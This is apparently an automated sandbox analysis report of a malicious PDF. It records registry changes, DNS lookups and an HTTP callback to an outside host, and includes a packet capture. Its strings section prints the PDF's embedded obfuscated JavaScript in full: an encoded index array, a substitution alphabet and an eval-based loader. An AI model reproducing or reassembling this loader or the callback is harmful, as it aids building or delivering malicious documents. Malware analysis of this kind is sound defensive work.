Analysis Date2014-08-22 00:29:16
MD53255dcf563adc2b5c80a89b7da974485
SHA1d64c3f7ff9f7cb267c659afc16f86bb196caf230

Static Details:

File typePDF document, version 1.6

Runtime Details:

Screenshot

Process
↳ C:\malware.pdf

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
NULL
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass ➝
1
Creates FilePIPE\lsarpc
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Creates MutexGlobal\AcrobatViewerIsRunning
Creates MutexDBWinMutex
Winsock DNSisosihpoect.com
Winsock URLhttp://isosihpoect.com/w.php?f=5&e=3

Network Details:

DNSisosihpoect.com
Type: A
208.73.211.174
DNSisosihpoect.com
Type: A
208.73.211.175
DNSisosihpoect.com
Type: A
208.73.211.193
DNSisosihpoect.com
Type: A
208.73.211.242
DNSisosihpoect.com
Type: A
208.73.211.163
HTTP GEThttp://isosihpoect.com/w.php?f=5&e=3
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Flows TCP192.168.1.1:1032 ➝ 208.73.211.174:80

Raw Pcap
0x00000000 (00000)   47455420 2f772e70 68703f66 3d352665   GET /w.php?f=5&e
0x00000010 (00016)   3d332048 5454502f 312e310d 0a416363   =3 HTTP/1.1..Acc
0x00000020 (00032)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000030 (00048)   2d456e63 6f64696e 673a2067 7a69702c   -Encoding: gzip,
0x00000040 (00064)   20646566 6c617465 0d0a5573 65722d41    deflate..User-A
0x00000050 (00080)   67656e74 3a204d6f 7a696c6c 612f342e   gent: Mozilla/4.
0x00000060 (00096)   30202863 6f6d7061 7469626c 653b204d   0 (compatible; M
0x00000070 (00112)   53494520 362e303b 2057696e 646f7773   SIE 6.0; Windows
0x00000080 (00128)   204e5420 352e313b 20535631 3b202e4e    NT 5.1; SV1; .N
0x00000090 (00144)   45542043 4c522032 2e302e35 30373237   ET CLR 2.0.50727
0x000000a0 (00160)   290d0a48 6f73743a 2069736f 73696870   )..Host: isosihp
0x000000b0 (00176)   6f656374 2e636f6d 0d0a436f 6e6e6563   oect.com..Connec
0x000000c0 (00192)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000d0 (00208)   0d0a0d0a                              ....


Strings
21 0 obj
23 0 obj
24 0 obj
25 0 obj
26 0 obj
28 0 obj
60 0 obj
7 0 obj
76 0 obj
ar='5@24@56@33@56@45@55@45@52@52@65@31@7@1@10@45@15@19@49@36@50@50@15@19@24@0@33@58@15@19@49@28@24@0@15@19@30@28@33@58@15@19@33@6@36@58@15@19@36@36@28@24@15@19@50@58@0@71@15@19@58@71@49@65@15@19@49@65@36@71@15@19@71@0@58@71@15@19@30@71@49@65@15@19@28@50@55@0@15@19@30@50@49@65@15@19@36@36@71@49@15@19@50@50@17@65@15@19@28@33@49@65@15@19@71@36@36@0@15@19@36@36@30@58@15@19@49@55@67@0@15@19@55@28@33@33@15@19@24@24@55@71@15@19@65@49@24@24@15@19@58@71@49@65@15@19@0@36@36@71@15@19@36@6@58@50@15@19@30@28@71@50@15@19@49@30@24@65@15@19@67@58@36@58@15@19@33@58@49@28@15@19@28@55@30@28@15@19@33@65@33@6@15@19@28@55@58@0@15@19@49@65@28@50@15@19@36@0@30@28@15@19@30@58@49@65@15@19@30@49@36@28@15@19@24@28@71@36@15@19@49@65@28@50@15@19@67@71@30@50@15@19@24@28@71@36@15@19@0@6@36@36@15@19@58@55@58@6@15@19@16@17@24@0@15@19@0@28@71@36@15@19@17@65@36@36@15@19@65@33@71@24@15@19@36@49@55@71@15@19@30@58@24@67@15@19@0@55@71@49@15@19@71@17@0@65@15@19@17@16@71@36@15@19@33@65@58@71@15@19@36@65@24@55@15@19@30@28@55@24@15@19@28@33@33@50@15@19@28@33@49@65@15@19@71@36@67@58@15@19@50@50@17@17@15@19@71@0@49@65@15@19@49@17@58@65@15@19@33@0@58@50@15@19@28@58@24@24@15@19@71@0@67@58@15@19@17@49@49@65@15@19@17@17@71@36@15@19@71@58@49@65@15@19@71@36@49@65@15@19@16@65@0@28@15@19@28@6@28@33@15@19@33@65@0@36@15@19@16@17@28@36@15@19@50@49@49@65@15@19@49@71@67@71@15@19@71@0@30@17@15@19@30@58@36@36@15@19@6@50@71@36@15@19@24@36@33@65@15@19@50@49@49@65@15@19@49@65@71@49@15@19@50@16@24@30@15@19@28@6@71@28@15@19@6@49@33@49@15@19@24@24@24@24@15@19@33@67@24@24@15@19@33@49@24@6@15@19@71@71@71@71@15@19@71@71@71@71@15@19@28@71@28@49@15@19@58@71@50@16@15@19@24@24@50@49@15@19@71@71@71@71@15@19@28@71@71@71@15@19@0@71@49@36@15@19@28@71@55@6@15@19@49@65@28@28@15@19@49@65@33@0@15@19@55@71@28@33@15@19@0@36@49@36@15@19@24@24@71@28@15@19@50@49@33@36@15@19@50@33@50@24@15@19@71@71@71@71@15@19@30@28@50@49@15@19@50@0@30@67@15@19@28@58@50@17@15@19@55@50@24@24@15@19@0@58@49@36@15@19@49@65@71@49@15@19@33@49@33@49@15@19@24@24@50@55@15@19@24@24@24@24@15@19@71@67@33@65@15@19@30@67@33@65@15@19@33@0@49@55@15@19@71@55@71@58@15@19@71@71@71@71@15@19@28@0@49@17@15@19@71@0@67@58@15@19@71@58@0@30@15@19@30@67@67@58@15@19@50@30@50@28@15@19@0@30@30@36@15@19@67@58@58@58@15@19@30@50@71@58@15@19@36@36@30@67@15@19@0@30@36@67@15@19@67@58@58@58@15@19@67@71@71@49@15@19@30@36@67@17@15@19@28@36@67@71@15@19@24@49@50@49@15@19@71@71@71@71@15@19@24@24@71@71@15@19@71@0@28@50@15@19@33@49@49@65@15@19@0@6@36@36@15@19@0@30@28@55@15@19@55@17@58@58@15@19@30@30@71@71@15@19@50@67@30@71@15@19@0@30@30@58@15@19@55@17@58@58@15@19@67@33@71@28@15@19@50@0@50@58@15@19@0@50@50@0@15@19@55@17@58@58@15@19@71@71@71@6@15@19@49@16@28@6@15@19@71@58@0@55@15@19@49@49@36@71@15@19@55@17@58@58@15@19@58@55@71@58@15@19@50@16@28@55@15@19@50@16@71@71@15@19@28@36@71@71@15@19@50@16@28@30@15@19@24@24@71@71@15@19@55@58@28@50@15@19@0@71@49@28@15@19@55@50@30@28@15@19@71@71@50@16@15@19@24@24@28@36@15@19@71@58@28@50@15@19@71@71@50@16@15@19@33@65@49@36@15@19@28@36@71@0@15@19@28@50@24@24@15@19@49@36@71@58@15@19@71@0@0@36@15@19@71@67@33@65@15@19@55@36@33@65@15@19@49@71@58@30@15@19@71@71@36@24@15@19@24@16@30@28@15@19@49@71@58@30@15@19@71@71@36@24@15@19@0@58@30@28@15@19@71@71@50@16@15@19@24@33@50@16@15@19@28@50@24@24@15@19@33@49@71@49@15@19@24@33@6@0@15@19@24@24@24@24@15@19@58@33@49@33@15@19@33@0@71@33@15@19@24@33@6@49@15@19@71@33@49@16@15@19@50@24@49@6@15@19@65@17@71@55@15@19@0@16@36@36@15@19@28@65@49@16@15@19@0@50@55@65@15@19@30@6@58@50@15@19@55@16@36@50@15@19@30@71@67@24@15@19@30@58@50@49@15@19@30@71@30@58@15@19@67@24@36@16@15@19@50@6@67@24@15@19@50@24@30@36@15@19@50@6@30@36@15@19@30@71@50@49@15@19@50@28@50@24@15@19@30@58@50@36@15@19@50@36@67@33@15@19@50@17@50@24@15@19@30@30@67@24@15@19@30@71@67@33@15@19@30@71@50@49@15@19@50@50@36@24@15@19@36@28@36@17@15@19@50@28@67@50@15@19@36@36@36@17@15@19@71@71@71@71@45@34@24@19@4@0@14@5@2@4@23@33@68@66@21@56@21@16@61@53@9@52@63@47@74@5@54@33@56@21@16@25@54@33@4@1@14@74@22@67@29@53@9@52@63@21@16@64@10@21@16@34@51@21@16@10@21@16@25@7@19@65@7@14@21@5@4@1@56@71@61@53@9@12@67@52@34@21@33@14@19@21@4@23@21@16@34@51@23@24@19@4@0@14@5@2@4@23@65@73@56@52@63@66@16@21@23@17@72@1@10@4@33@47@23@69@21@21@16@9@56@52@34@66@16@21@23@66@47@10@71@73@71@0@71@0@71@0@71@0@34@66@16@21@23@16@17@17@21@10@71@73@58@71@71@71@71@71@34@66@16@21@23@46@16@9@54@2@16@17@10@19@4@33@7@0@16@46@33@56@65@31@7@1@52@34@66@16@21@23@7@0@13@54@33@4@10@46@16@9@54@2@16@17@25@54@33@4@1@14@74@22@67@34@66@16@21@23@53@9@10@16@17@17@21@8@56@7@0@13@54@33@4@64@71@73@36@49@52@34@66@16@21@23@9@16@21@7@46@10@19@4@33@7@0@16@46@33@56@57@15@19@6@71@6@71@15@19@6@71@6@71@57@52@34@9@16@21@7@46@10@33@68@66@21@56@9@16@21@7@46@61@53@9@52@34@66@16@21@23@0@2@19@4@14@67@10@56@66@47@8@71@73@58@71@71@71@71@71@52@12@16@17@17@21@34@24@2@21@56@66@16@21@23@0@2@19@4@14@10@71@34@0@2@19@4@14@29@0@2@19@4@14@67@34@0@2@19@4@14@64@64@52@63@17@72@1@32@0@2@19@4@14@48@10@9@16@21@7@46@64@46@16@9@54@2@16@17@34@51@23@66@16@21@23@2@66@33@21@24@54@2@47@10@19@4@33@7@0@16@46@33@56@57@15@19@71@0@71@0@15@19@71@0@71@0@57@52@34@47@74@5@54@33@56@2@66@33@21@24@54@2@47@25@54@33@4@1@14@74@29@58@58@6@28@67@52@63@2@66@33@21@24@54@2@47@64@10@2@66@33@21@24@54@2@47@34@51@23@14@74@5@7@25@0@2@54@54@16@65@39@14@2@21@33@10@44@2@54@54@16@65@25@0@2@54@54@33@0@14@41@60@16@5@54@37@4@24@2@56@63@7@19@65@31@27@57@57@61@60@7@1@27@2@66@33@21@24@54@2@47@51@52@34@51@23@24@19@4@0@14@5@2@4@23@46@21@5@4@14@24@56@52@63@4@2@46@10@19@4@33@7@0@16@46@33@56@57@15@19@71@69@71@69@15@19@71@69@71@69@15@19@71@69@71@69@15@19@71@69@71@69@57@52@34@66@16@21@23@46@16@9@54@2@16@17@10@19@4@33@7@0@16@46@33@56@65@31@7@1@52@34@74@33@16@46@65@54@2@0@72@10@4@2@46@64@46@16@9@54@2@16@17@34@65@5@1@65@54@2@0@72@10@19@4@33@7@0@16@46@33@56@57@15@19@71@69@71@69@15@19@71@69@71@69@57@52@34@74@33@16@17@33@21@7@5@68@33@10@67@71@34@7@46@21@16@9@10@74@33@16@17@33@21@7@5@68@33@64@74@33@16@46@65@54@2@0@72@25@54@33@4@1@14@74@34@47@74@5@54@33@56@65@5@1@65@54@2@0@72@25@54@33@4@1@14@74@29@7@46@21@16@9@52@63@65@5@1@65@54@2@0@72@64@10@65@5@1@65@54@2@0@72@34@51@23@24@5@54@54@65@54@2@0@72@10@65@5@1@65@54@2@0@72@25@7@19@65@7@14@21@5@4@1@56@71@61@7@46@21@16@9@52@34@65@54@2@0@72@10@65@5@1@65@54@2@0@72@25@7@19@65@7@14@21@5@4@1@56@71@61@65@5@1@65@54@2@0@72@25@54@33@4@1@14@74@8@7@46@21@16@9@52@34@47@74@5@54@33@56@65@54@2@0@72@25@54@33@4@1@14@74@64@7@46@21@16@9@29@71@73@58@71@71@71@71@52@63@65@54@2@0@72@10@65@54@2@0@72@64@65@54@2@0@72@64@24@5@54@54@65@54@2@0@72@34@51@23@60@33@60@10@4@33@47@23@69@21@21@16@9@56@52@34@24@2@21@56@5@10@71@34@5@29@55@58@71@71@34@5@64@64@52@63@60@33@60@32@5@48@10@65@54@2@0@72@64@74@33@16@46@65@54@2@0@72@34@51@23@66@16@21@23@4@19@60@10@55@67@6@6@6@6@6@6@6@6@6@6@6@6@6@6@6@6@6@6@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@49@34@19@14@5@54@25@46@21@5@4@14@24@56@57@15@58@28@71@71@71@24@57@61@4@19@60@52@34@51@23@24@19@4@0@14@5@2@4@23@1@33@14@5@0@2@4@56@52@63@66@16@21@23@16@21@21@9@10@4@33@47@23@69@21@21@16@9@56@52@34@5@24@56@16@46@46@25@17@2@0@25@44@2@54@54@16@65@25@1@33@14@37@0@2@4@52@63@66@16@21@23@46@16@9@54@2@16@17@10@19@4@33@7@0@16@46@33@56@65@31@7@1@52@34@66@16@21@23@74@42@53@28@71@71@44@3@10@46@16@9@54@2@16@17@25@54@33@4@1@14@74@22@67@34@66@16@21@23@53@9@10@71@73@58@71@71@71@71@71@8@56@74@42@53@28@71@71@44@3@64@71@73@36@49@52@34@66@16@21@23@9@16@21@7@46@10@19@4@33@7@0@16@46@33@56@57@15@19@6@71@6@71@15@19@6@71@6@71@57@52@34@9@16@21@7@46@10@33@68@66@21@56@9@16@21@7@46@61@53@9@52@34@66@16@21@23@46@28@69@31@18@50@28@24@10@56@71@73@71@0@71@0@71@0@71@0@8@71@73@58@71@71@71@71@71@52@12@71@73@58@71@71@71@71@71@34@24@2@21@56@66@16@21@23@66@53@0@40@11@6@50@9@10@71@34@66@53@0@40@11@6@50@9@29@46@28@69@31@18@50@28@24@34@66@53@0@40@11@6@50@9@64@64@52@63@16@21@21@9@32@66@53@0@40@11@6@50@9@48@10@9@16@21@7@46@64@46@16@9@54@2@16@17@34@51@23@66@16@21@23@14@59@62@74@3@65@20@47@10@19@4@33@7@0@16@46@33@56@57@15@71@6@57@52@34@47@74@5@54@33@56@14@59@62@74@3@65@20@47@25@54@33@4@1@14@74@29@71@73@58@71@71@71@52@63@14@59@62@74@3@65@20@47@64@10@14@59@62@74@3@65@20@47@34@51@23@14@59@62@74@3@65@20@47@10@57@3@25@57@64@14@59@62@74@3@65@20@47@34@16@46@46@25@17@2@0@25@44@2@54@54@16@65@25@1@33@14@37@0@2@4@56@14@59@62@74@3@65@20@47@52@34@51@51@23@16@35@54@19@1@5@4@7@10@16@46@46@25@46@54@19@1@37@4@7@34@66@16@21@23@7@66@10@46@16@21@7@33@37@4@14@56@16@46@46@25@66@5@33@47@33@21@70@33@21@7@5@2@4@25@14@2@39@14@21@5@4@1@56@52@25@0@74@16@21@69@14@56@71@52@52@34@24@2@21@56@66@16@21@23@5@10@71@34@5@29@16@35@54@19@1@5@4@7@25@54@33@4@1@14@74@34@5@64@64@52@63@5@24@56@16@35@54@19@1@5@4@7@32@5@48@25@4@16@60@33@10@10@45@41@39@0@21@5@46@14@45@52@63@66@16@21@23@54@66@10@16@35@54@19@1@5@4@7@32@5@48@25@66@33@21@7@5@2@4@34@51@51@23@5@24@56@56@54@66@10@10@6@52@38@38@56@56@7@66@10@10@49@52@75@75@56@54@66@29@10@49@25@55@67@52@52@52@63@1@33@14@5@0@2@4@56@52@34@51@33@54@7@33@23@5@24@56@54@66@10@10@30@25@55@52@63@46@21@5@4@14@24@56@52@34@51@33@54@7@33@23@5@24@56@56@56@7@66@10@10@50@52@38@38@56@7@66@10@10@30@52@52@75@75@56@54@66@29@30@25@55@55@52@52@63@65@73@56@52@34@51@33@54@7@33@23@5@24@56@56@54@66@26@10@6@25@55@52@38@38@56@54@66@29@10@6@25@67@52@38@38@56@54@66@26@10@49@25@55@36@52@38@38@56@54@66@29@10@49@25@55@30@52@52@63@24@19@4@0@14@5@2@4@23@16@56@52@63@19@14@5@54@25@46@21@5@4@14@17@56@45@46@43@55@55@55@55@55@55@55@55@55@55@55@55@55@55@55@55@55@55@55@55@55@55@55@55@23@27@23@9@9@9@9@55@55@55@45@61@4@33@47@23@11@16@14@33@56@52@52@34@51@66@16@21@23@74@10@16@46@46@25@46@54@19@1@37@4@7@34@24@2@21@56@66@16@21@23@24@10@71@34@24@29@74@25@54@33@4@1@14@74@34@24@64@64@52@63@5@24@56@74@32@24@48@25@4@16@60@33@10@10@45@41@39@0@21@5@46@14@45@52@63@66@16@21@23@5@10@74@32@24@48@25@66@33@21@7@5@2@4@34@51@51@23@5@24@56@56@5@26@49@25@55@67@52@75@75@56@5@29@49@25@67@52@52@63@0@10@4@33@47@23@69@21@21@16@9@56@52@34@66@16@21@23@17@10@19@4@33@7@0@16@46@33@56@45@15@19@6@71@6@71@15@19@6@71@6@71@45@52@34@66@16@21@23@33@10@19@4@33@7@0@16@46@33@56@65@31@7@1@52@34@47@74@5@54@33@56@17@25@54@33@4@1@14@74@29@10@71@73@49@71@71@71@52@63@17@64@10@17@34@51@17@10@17@25@7@19@65@7@14@21@56@71@61@71@73@49@71@71@71@8@33@25@54@33@4@1@14@74@52@34@24@2@21@56@24@10@71@34@24@29@67@6@71@71@34@24@64@64@52@63@0@32@24@48@10@17@64@33@34@51@16@56@52@34@16@56@52@34@14@21@9@63@14@74@5@7@25@60@33@17@5@16@25@4@33@47@35@54@16@9@33@21@56@4@19@54@54@52@34@51@0@16@14@0@74@56@33@52@63@51@16@56@52@34@51@51';
ar=ar.split\('@'\);
cc={q:'cgoNni9s-y=D/_t%adKuGr* f.>:5<7j[e;P3I|SQEW@C"pw]86}\)ql1\("4Um,M{+bv2zAV0kxh&'}.q;
<</Count 1/Type/Pages/Kids[28 0 R]>>
endobj
endstream
e=t['indexOf'];
for\(i=0;i<ar.length;i++\){
<</JavaScript 24 0 R/AP 8 0 R>>
<</Length 1108/Filter[/FlateDecode]>>stream
<</Length 539/Filter/FlateDecode/Type/Contents>>stream
m=1-1;
<</Names[123 0 R 76 0 R]>>
<</Names 23 0 R/AcroForm 22 0 R/Pages 7 0 R/OCProperties<</D<</RBGroups[]>>>>/StructTreeRoot 11 0 R/Type/Catalog>>
<</Parent 7 0 R/Contents 60 0 R/Rotate 90/MediaBox[0 0 12 92]/Resources<</XObject<</Im0 69 0 R>>/ColorSpace<</CS0 59 0 R>>/Font<</TT0 61 0 R>>/Properties/ExtGState>>/Type/Page>>
%PDF-1.6
q=x[0]+'val';
/Root 21 0 R>>
s[i]=n[ar[i]];
<</Size 155
<</Size 155/Prev 75626/XRefStm 416/Root 21 0 R>>
<</S/JavaScript/JS(
<</S/JavaScript/JS 26 0 R>>
s=new Array\(\);
ss='split';
startxref
t='214124';
trailer
w=e\(12\)[q];
w\(s.join\(''\)\);
x='en634b62352v';